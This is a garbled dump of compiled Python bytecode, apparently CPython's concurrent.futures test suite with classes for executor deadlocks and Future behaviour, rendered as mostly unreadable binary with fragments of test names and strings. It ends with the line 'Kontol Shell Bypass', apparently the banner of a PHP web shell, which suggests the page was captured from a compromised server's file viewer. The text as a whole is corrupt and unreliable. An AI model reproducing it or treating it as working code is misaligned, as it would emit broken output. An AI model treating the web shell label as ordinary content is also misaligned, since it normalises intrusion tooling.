__stderr__r�)rFrhr�r�rr�rrrr�_fail_on_deadlock;s
&
z&ExecutorDeadlockTest._fail_on_deadlockF��
ignore_stderrc	Gs�|jjdd�|jdt|j�d�}|j|g|�R�}|rBt��}nt�	�}z`|�
|��B|�|j|jd�Wd�n1s�0YWd�n1s�0YWnt
jy�|�|�Yn0|jdd�dS)NTrlr�r^r6)rhrprerr]rtrr�r��nullcontextr�r�TIMEOUTr	r8r�)rF�error�funcr�r&rhr�r�rrr�_check_crashNs
�
Nz!ExecutorDeadlockTest._check_crashcCs|�ttt��dSr)r�rr�r�rErrr�test_error_at_task_pickleesz.ExecutorDeadlockTest.test_error_at_task_picklecCs|�ttt��dSr)r�rr�r�rErrr�test_exit_at_task_unpicklejsz/ExecutorDeadlockTest.test_exit_at_task_unpicklecCs|�ttt��dSr)r�rr�r�rErrr�test_error_at_task_unpicklensz0ExecutorDeadlockTest.test_error_at_task_unpicklecCs|�ttt��dSr)r�rr�r�rErrr�test_crash_at_task_unpicklersz0ExecutorDeadlockTest.test_crash_at_task_unpicklecCs|�tt�dSr)r�rr�rErrr�%test_crash_during_func_exec_on_workervsz:ExecutorDeadlockTest.test_crash_during_func_exec_on_workercCs|�tt�dSr)r��
SystemExitr�rErrr�$test_exit_during_func_exec_on_workerzsz9ExecutorDeadlockTest.test_exit_during_func_exec_on_workercCs|�ttt�dSr)r�r�r�rErrr�%test_error_during_func_exec_on_worker~sz:ExecutorDeadlockTest.test_error_during_func_exec_on_workercCs|�ttt�dSr)r�rr�r�rErrr�)test_crash_during_result_pickle_on_worker�sz>ExecutorDeadlockTest.test_crash_during_result_pickle_on_workercCs|�ttt�dSr)r�r�r�r�rErrr�(test_exit_during_result_pickle_on_worker�sz=ExecutorDeadlockTest.test_exit_during_result_pickle_on_workercCs|�ttt�dSr)r�rr�r�rErrr�)test_error_during_result_pickle_on_worker�sz>ExecutorDeadlockTest.test_error_during_result_pickle_on_workercCs|jtttdd�dS)NTr�)r�rr�r�rErrr�3test_error_during_result_unpickle_in_result_handler�s�zHExecutorDeadlockTest.test_error_during_result_unpickle_in_result_handlercCs|�ttt�dSr)r�rr�r�rErrr�2test_exit_during_result_unpickle_in_result_handler�szGExecutorDeadlockTest.test_exit_during_result_unpickle_in_result_handlerc	Cs�|jjdd�|jdt|j�d��b}||_|jtdd�}|jdd�|�t��|�	�Wd�n1sl0YWd�n1s�0YdS)NTrlr�r^r:)r�)
rhrprerr]rtr�r�rr)rFrhrrrr�test_shutdown_deadlock�s�z+ExecutorDeadlockTest.test_shutdown_deadlockc	Cs�|jjdd�|jdt|j�d��x}||_|�td���|j}|�tt	��}|jdd�|�
t��|��Wd�n1s�0YWd�n1s�0Y|��dS)NTrlr�r^r F)
rhrprerr]rtr�rrr�r�rr�)rFrhZexecutor_managerrrrr�test_shutdown_deadlock_pickle�s�Dz2ExecutorDeadlockTest.test_shutdown_deadlock_pickleN)rHrIrJrr`r�r�r�r�r�r�r�r�r�r�r�r�r�r�r�r�r�rrrrr�8s"r�c@s�eZdZdd�Zdd�Zdd�Zdd�Zd	d
�Zdd�Zd
d�Z	dd�Z
dd�Zdd�Zdd�Z
dd�Zdd�Zdd�Zdd�Zdd �Zd!d"�Zd#d$�Zd%d&�Zd'd(�Zd)S)*�FutureTestscs:d��fdd�}t�}|�|�|�d�|�d��dS)Ncs|���dSr�r�Zcallback_future�Zcallback_resultrrrO�sz6FutureTests.test_done_callback_with_result.<locals>.fnr\)r�add_done_callbackrBr��rFrOrrr�r�test_done_callback_with_result�s

z*FutureTests.test_done_callback_with_resultcs@d��fdd�}t�}|�|�|�td��|�d�j�dS)Ncs|���dSr�rr��Zcallback_exceptionrrrO�sz9FutureTests.test_done_callback_with_exception.<locals>.fnr>�r>)rr��
set_exceptionr+r�r&r�rr�r�!test_done_callback_with_exception�s
z-FutureTests.test_done_callback_with_exceptioncs<d��fdd�}t�}|�|�|�|���|���dS)Ncs|���dSrr�r��Z
was_cancelledrrrO�sz6FutureTests.test_done_callback_with_cancel.<locals>.fn)rr�r��cancelr�rr�r�test_done_callback_with_cancel�s
z*FutureTests.test_done_callback_with_cancelcs�t���x}d�d��fdd�}�fdd�}t�}|�|�|�|�|�d�|���|���|�d|���Wd�n1s�0YdS)NFcsd�td��dS)NT�doh!�r+r�)�raising_was_calledrr�
raising_fn�sz9FutureTests.test_done_callback_raises.<locals>.raising_fncsd�dS)NTrr�)�
fn_was_calledrrrO�sz1FutureTests.test_done_callback_raises.<locals>.fnr\zException: doh!)rr�rr�rBr�r�r�)rFr�r�rOrr)r�r�r�test_done_callback_raises�s





z%FutureTests.test_done_callback_raisescs:d��fdd�}t�}|�d�|�|�|�d��dS)Ncs|���dSrr�r�r�rrrOsz=FutureTests.test_done_callback_already_successful.<locals>.fnr\)rrBr�r�r�rr�r�%test_done_callback_already_successfuls

z1FutureTests.test_done_callback_already_successfulcs@d��fdd�}t�}|�td��|�|�|�d�j�dS)Ncs|���dSrr�r�r�rrrOsz9FutureTests.test_done_callback_already_failed.<locals>.fnr>r�)rr�r+r�r�r&r�rr�r�!test_done_callback_already_failed
s
z-FutureTests.test_done_callback_already_failedcs<d��fdd�}t�}|�|���|�|�|���dS)Ncs|���dSrr�r�r�rrrOsz<FutureTests.test_done_callback_already_cancelled.<locals>.fn)rr�r�r�r�rr�r�$test_done_callback_already_cancelleds
z0FutureTests.test_done_callback_already_cancelledcCsnt���R}dd�}t�}|�d�|�|�|�d|���|�d|���Wd�n1s`0YdS)NcSstd��dS)Nr�r�r�rrrr�%szKFutureTests.test_done_callback_raises_already_succeeded.<locals>.raising_fnr\zexception calling callback forr�)rr�rrBr�r�r�)rFr�r�rrrr�+test_done_callback_raises_already_succeeded#s


z7FutureTests.test_done_callback_raises_already_succeededcCsd|�tt�d�|�tt�d�|�tt�d�|�tt�d�|�tt�d�|�tt�d�dS)Nz%<Future at 0x[0-9a-f]+ state=pending>z%<Future at 0x[0-9a-f]+ state=running>z'<Future at 0x[0-9a-f]+ state=cancelled>z5<Future at 0x[0-9a-f]+ state=finished raised OSError>z3<Future at 0x[0-9a-f]+ state=finished returned int>)r��reprrFrGrrr#rrErrr�	test_repr3s(
�
�
�
���zFutureTests.test_reprcCs�ttd�}ttd�}ttd�}ttd�}ttt�d�}ttdd�}|�|���|�	|j
t�|�|���|�	|j
t�|�|���|�	|j
t�|�|���|�	|j
t�|�|���|�	|j
t�|�|���|�	|j
t�dS)Nrrr\r!)rr
rrr
r�OSErrorr�r�r�rr�)rFr��f2Zf3Zf4Zf5Zf6rrr�test_cancelDs$



zFutureTests.test_cancelcCsX|�t���|�t���|�t���|�t���|�t���|�t���dSr)	r�rFr�rGr�rrr#rrErrr�test_cancelled^szFutureTests.test_cancelledcCsX|�t���|�t���|�t���|�t���|�t���|�t���dSr)	r�rFr�rGr�rrr#rrErrr�	test_donefszFutureTests.test_donecCsX|�t���|�t���|�t���|�t���|�t���|�t���dSr)	r�rF�runningr�rGrrr#rrErrr�test_runningnszFutureTests.test_runningcCsz|jtjtjdd�|jtjtjdd�|jtjtjdd�|jtjtjdd�|jt	t
jdd�|�tjdd�d�dS)Nrr6r )
r�r	r8rFrrG�CancelledErrorrrr�r#r�rrErrr�test_result_with_timeoutvs����z$FutureTests.test_result_with_timeoutcsJ�fdd�}ttd��tj|d�}|��|��jdd�d�|��dS)Ncst�d���d�dS)Nr�r )r)r*rBr�r�rr�notification�s
z:FutureTests.test_result_with_success.<locals>.notificationr��targetr\r6r )rr
r��Thread�startr�rr��rFr�r,rr�r�test_result_with_success�s
z$FutureTests.test_result_with_successcsL�fdd�}ttd��tj|d�}|��|jtj�jt	j
d�|��dS)Ncst�d����dS�Nr�)r)r*r�rr�rrr��s
z9FutureTests.test_result_with_cancel.<locals>.notificationrr�r6)rr
r�r�rr�r	r�rrr`r�rrr�r�test_result_with_cancel�s
�z#FutureTests.test_result_with_cancelcCs�|jtjtjdd�|jtjtjdd�|jtjtjdd�|jtjtjdd�|�	t
tjdd�t��|�
tjdd�d�dS)Nrr6)r�r	r8rFrrGr�rrr��
isinstancer#r�r�rrErrr�test_exception_with_timeout�s �����z'FutureTests.test_exception_with_timeoutcsP�fdd�}ttd��tj|d�}|��|�t�jtj	d�t
��|��dS)NcsLt�d��j�(t�_t��_�j��Wd�n1s>0YdSr)r)r*�
_conditionrrr�r�
notify_allrr�rrr��s

z=FutureTests.test_exception_with_success.<locals>.notificationrr�r6)rr
r�r�rr�rrrr`r�r�rrr�r�test_exception_with_success�s
z'FutureTests.test_exception_with_successcCsnttd�}|�d�|�tjd��|�d�Wd�n1sB0Y|�|���|�|�	�d�dS)Nrr�z=FINISHED: <Future at 0x[0-9a-f]+ state=finished returned int>r�)
rr
rBrcr	�InvalidStateErrorr�r�r�r)rFrrrr�test_multiple_set_result�s

�(z$FutureTests.test_multiple_set_resultcCshttd�}t�}|�|�|�tjd��|�t��Wd�n1sJ0Y|�|�	�|�dS)NrzBFINISHED: <Future at 0x[0-9a-f]+ state=finished raised ValueError>)
rr
r@r�rcr	r
r+r�r)rFrr�rrr�test_multiple_set_exception�s

�*z'FutureTests.test_multiple_set_exceptionN)rHrIrJr�r�r�r�r�r�r�r�r�r�r�r�r�r�rrrr	rrrrrrr��s(
r�cCst��adSr)rrU�_threads_keyrrrr�setUpModule�srcCstjt�tj��dSr)rrYr
�multiprocessing�util�_cleanup_testsrrrr�tearDownModule�s
r�__main__)N)N)_r>r�
import_moduleZ*skip_if_broken_multiprocessing_synchronizeZtest.supportrZtest.support.script_helperrr�r:r;Zlogging.handlersrrmr�r/r�r)r�r@r�r�
concurrentr	�concurrent.futures._baser
rrr
rrrZconcurrent.futures.processrrrZmultiprocessing.processZmultiprocessing.utilrrFrGrrr�r#rr5r%r(r-r3r6r7rC�objectrDrKrSZTestCaserTr[r{r}r�r�r�r�r�r�r�rr
r+r2rJrfrvr�r�r�r�r�r�r�r�r�r�r�r�r�r
rrrH�mainrrrr�<module>s�
$





	*

��
;k_H��e��PU&p��
	
��


Kontol Shell Bypass